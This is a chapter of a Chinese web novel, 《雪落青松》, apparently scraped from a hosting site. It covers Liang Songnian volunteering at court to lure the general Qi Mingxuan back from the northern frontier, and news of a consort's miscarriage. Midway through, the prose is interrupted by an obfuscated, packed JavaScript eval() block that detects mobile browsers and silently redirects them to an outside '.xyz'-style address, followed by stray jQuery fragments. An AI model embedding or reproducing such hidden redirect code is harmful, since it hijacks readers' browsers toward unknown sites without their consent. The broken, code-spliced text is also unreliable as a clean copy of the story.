70. 北疆

作品:《雪落青松

    三月初五,朝会。


    诸臣蓄势待发,列队而进,却不想奉元帝也是有所准备,待人齐了,并不准上前进言,而叫曹征先宣。


    内容有二。


    一是喊冤之事,陛下看奏本众多,待尽数审阅后,再当给出结论;二是今日朝会,当务之急是要解决北疆之况,再论其他。


    众臣未等张嘴,便被封上,一时面面相窥,寻不着个话口。


    奉元帝则在高位之上,森严道:“既然诸位臣工无见解,那朕便说说。”


    众人抬头,瞩目倾听。


    奉元帝道:“齐尚书认罪,北疆欲反已是事实。此刻年初,那处未闻风声还好,若是拉开时日,怕是知情了,也逼急了。虽说边远之地,一时攻不到京都,兵力种种也不容小觑。朕想来,还是提早派人去收回兵权为好。”


    听到这话,有名御史大着胆子上前言道:“此事确实紧急,不过想要兵不血刃的收回兵权,实在困难,不知陛下可有中意的人选?”


    奉元帝笑道:“范御史所言甚对,此事朕也是苦恼多日,那齐明玄掌兵多年,现有异心,自是不会轻易交出兵权。亏得前些天梁主审递上折子,说是已查明武毅侯清白,走了各司流程放人……”


    说到这,奉元帝顿了顿,目光向殿前的梁安仁投去,“梁将军代职数日,其心可鉴。放眼朝中武将,年轻一辈难出齐明玄右,老一辈有能者,要么驻守边境走不开,要么皇城守卫不能离人。朕思来想去,武毅侯归位,梁将军便是空出来了,可担此任。”


    梁安仁闻言,刚要上前回话,却被梁颂年抢了一步,“陛下,我父年事已高,出仕多年,暂代禁军统领已是十分吃力,此去北疆,且不说危险,便是左腿旧疾也受不住,何况……”


    奉元帝冷声打断,“大逆之事,国将有难,梁将军还未开口,梁主审倒是先推脱上了。”


    此言一出,众人都替他捏了把汗。


    梁颂年不急不燥,俯首跪倒,扬声道:“回陛下,国事尤重,臣绝无推脱之心,为人子体谅父辛,实在是发自肺腑,然为臣者,臣亦觉梁将军不是最佳人选。”


    奉元帝干笑一声,“那么,梁主审觉得谁更合适?”


    “臣。”


    梁颂年道:“若想兵不血刃,活捉齐明玄,朝中上下,唯臣可以一试。”


    一语震众人,满殿皆惊。


    奉元帝盯着殿下跪着的人好半响,方才开口道:“据朕所知,梁主审是从北疆革了军职回京的,怎么敢为父说出这般大话?”


    梁颂年仍保持平静,“回陛下,臣确为革职回京,但非无能至此。”


    奉元帝呵呵一笑,“哦?你倒有冤?”


    梁颂年道:“说不上冤屈,只是臣去北疆五年有余,说不上战功彪炳,但也实打实的贡献了不少,略有风头。然如此,非但没有论功升职,反倒被齐将军寻由头,将臣逐回了京都。”


    这话说完,满殿哗然,其中最费解者,当是略微知情的江淮景。


    众人都去看奉元帝的反应,只见其面色微变,果然怒道:“那齐明玄镇守北疆,一方将领,竟有如此作风,实在可恶!”


    梁颂年赶忙接话,“陛下,齐明玄品行事小,臣自荐出行北疆,也并非有公报私仇之心。臣自认为五年时光不算虚度,对齐明玄此人也有了解,此去臣当以陛下使者身份,邀其进京亲述近来战况,而京都这边提早设局,待他前来,便一举拿下。彼时北疆没了统领,也难起事。”


    奉元帝点了点头,又问道:“若他有所防范,不肯轻信你呢?”


    梁颂年道:“臣带圣旨前去,宝印在上,若他不肯,那便是抗旨,如此问罪于他,也是师出有名。不过臣对其也算了解,此人谨慎,断不会走此下策。如此,他不得不接旨回京,即便是有所防备,带部分亲兵前来,到了京都也是自投罗网。”


    奉元帝听他说完,安静良久,继而笑了两声,朝梁安仁道:“果然是虎父无犬子,老将军后继有人,朕心甚慰。”


    梁安仁的脸色,自梁颂年开口接话时就没好过,此时被点,硬是挤出个好脸上前道:“陛下谬赞,在朝为官,当为君分忧。”


    奉元帝转头扫量满殿,“此事诸位可有异议?”


    满殿缄默,无人上前。


    奉元帝这才回应梁颂年道:“既无异议,那依按梁卿所言,尽快前往北疆,宣齐明玄回京。”


    梁颂年行礼道:“臣遵旨。”


    散了朝会,众人与各自相熟的人结伴而走,低声细语,各抒己见。


    江淮景本是独来独往,奈何梁颂年多次让他刮目相看,时至今日,散会便去寻他,竟成了习惯。


    “你什么情况?”


    梁颂年明知故问,“什么什么情况?”


    “装什么装,”江淮景白他一眼:“今日朝堂,你胡乱编排齐明玄作甚?”


    梁颂年道:“如你所见,我要去北疆。”


    江淮景仍然不解,“要去北疆和你编排齐明玄,有什么必要的联系么?”


    梁颂年反问他:“你不是知道我怎么回京的吗?”


    江淮景皱眉,“所以呢?”


    梁颂年叹了口气,“我当初想回京暗查兄长死因,在身份上自然是越不成事,越对人没有威胁最宜。我在军中五年,冲锋陷阵,从不求功名,齐明玄看在眼里,所以在我请求以弃兵身份回京的时候,才没有犹疑便应了。虽说事实如此,但在今日朝堂之上说了出来,无论是陛下还是其他人,保不齐会多想什么,又怎会轻易放我去北疆?”


    江淮景这才后知后觉过来,若真实话实说了,那齐明玄帮梁颂年伪造身份,既可以往大说,亦可以往小说,总之,是叫人怀疑两人勾结的。


    “听你在大殿之上侃侃而谈,尽是假话,真是令我冲昏了头,连这也反应不过来了。”


    江淮景知道怎么回事儿,也算是松了口气,又道:“所以,你是真打算冒险将齐明玄引回京都伏法?”


    梁颂年道:“不知道。”


    江淮景一个愕然停步,“啊?”


    梁颂年也停下来,苦笑道:“我真不知道,方才大殿之上,陛下要命我父亲去北疆,我情急之下抢了这差事儿,一是私心为父,二是不想其他人去面对齐明玄。”


    江淮景听前面还算理解,听后面倒是有些不懂了,“不想其他人去面对齐明玄是什么意思?”


    梁颂年沉了口气,方道:“我还是觉得他不是要反的人。”


    江淮景诧异道:“你要保他?”


    梁颂年没直接回应,而是道:“齐尚书还没发落,何必着急处置他,先骗他回京再说。”


    江淮景沉默片刻,忽然露出狐疑地目光,“不对。”


    梁颂年一愣,“什么不对?”


    江淮景道:“你不对劲儿,你太不不对劲儿了。”


    梁颂年不想理他,抬步就走。


    江淮景追上去,“梁子渊!你是不是有事儿瞒着我,怎么想怎么觉得你像是在诓骗我!”


    梁颂年出了宫门,弃了马车,策马而归,除了不想理江淮景这茬儿,还急着回家与林知瑶好好谈谈他去北疆的事。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825277|148384||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    不成想进了门,他便见到林知瑶坐在桌前,眉毛拧成一团,思虑着什么。


    梁颂年心虚上前,“怎么了?”


    林知瑶猛的回过神儿,见是梁颂年,方沉了口气道:“我阿姐……”


    梁颂年一听不是因为他去北疆的事,先送松了口气,接着想到林秀云或是有事儿,又提起个心。


    “惠贵妃怎么了?”


    林知瑶嗔了声,“她个傻子,怀着身孕还乱走动什么。”


    梁颂年听这话,便预感不好,接着就听林知瑶道:“她去陛下门前请罪,跪了大半天,我早就传信给她,叫她安心养胎,不要管外面的事儿,可她……”


    如此听完,梁颂年便猜到了大概,安慰林知瑶道:“如今这状况,岳丈被囚,二哥入狱,你去敲了登闻鼓,连带着大哥都禁足在府,她既是林氏人,又如何能安坐宫中?”


    林知瑶心里清楚,但想到林秀云不知情,傻傻去跪门,就忍不住难过。


    “那做做样子就够了,天还冷着,她又怀着身子,偏是让自己跪昏了过去,真是……”


    梁颂年知道自从林家出事后,林知瑶就进不了宫,不然此时也不会在家中独自担忧伤心,便道:“这样,我一会儿去寻我父亲,叫他先去问问值班的侍卫具体……”


    “林姐姐!”


    他话音未落,敏华匆匆进门。


    屋内两人同时抬头,林知瑶见了人,立刻皱起眉头,“你怎么跑出宫了?”


    敏华养了这么些时日,身体好了大半,进屋连斗篷都来不及脱,便去拉林知瑶的手。


    “我怎么出来的不重要,近日消息太多,我听的心惊,实在是忍不住要来瞧瞧你。”


    林知瑶知她心意,叹了口气,也不再多说什么,伸手去解开对方的斗篷,小心扶其坐下,“近日进不去宫,也没去瞧瞧你恢复得如何了。”


    “我都能跑出来了,自然是没什么大碍,”敏华又拉起她的手,“倒是林姐姐你,好生让我担心。”


    梁颂年见她俩有许多话要说,便说着要出门,不料被敏华叫住。


    “梁大人要去哪儿?若是去打听惠贵妃的事儿就不必去了,我便是带着消息来的。”


    梁颂年听言回到了原位,林知瑶则立刻追问:“惠贵妃如何了?”


    敏华是个爽快人,从不拐弯抹角,虽难以启齿,仍如实道:“她跪了大半天,听说昏过去的时候见了红,太医院去了几个,后来他们直接向皇帝哥哥禀报,谁也不知究竟什么情况,然后……”


    林知瑶见她迟疑,追问道:“然后什么?”


    敏华道:“然后皇帝哥哥大怒,说是惠贵妃自损身体,伤害皇嗣,禁足景秀宫,还罚了那几个太医的俸禄,想来是有所嘱咐,竟叫他们不敢透露半个字出来。”


    虽说太医未曾透露任何,但根据奉元帝的反应,也不难猜到惠贵妃已然流产。


    林知瑶一滴泪落下,竟是冷静不少,“知道了,你尽快回宫去,别在这时候也牵扯进来。”


    “林姐姐……”


    “走吧。”


    林知瑶起身去扶她,“你今日见到了,我没那么不堪一击,倒是你,绝不许再这样偷跑出来。”


    敏华还想再说什么,张了张嘴,还是闭上了。


    林知瑶扭头去唤梁颂年,“你护送她去宫门吧,别叫人瞧见了。”


    梁颂年点了点头。


    待两人要出门之际,林知瑶又上前与敏华道:“殿下,若是有法子递消息进景秀宫,千万叫她养好身子,莫要再伤心劳神。”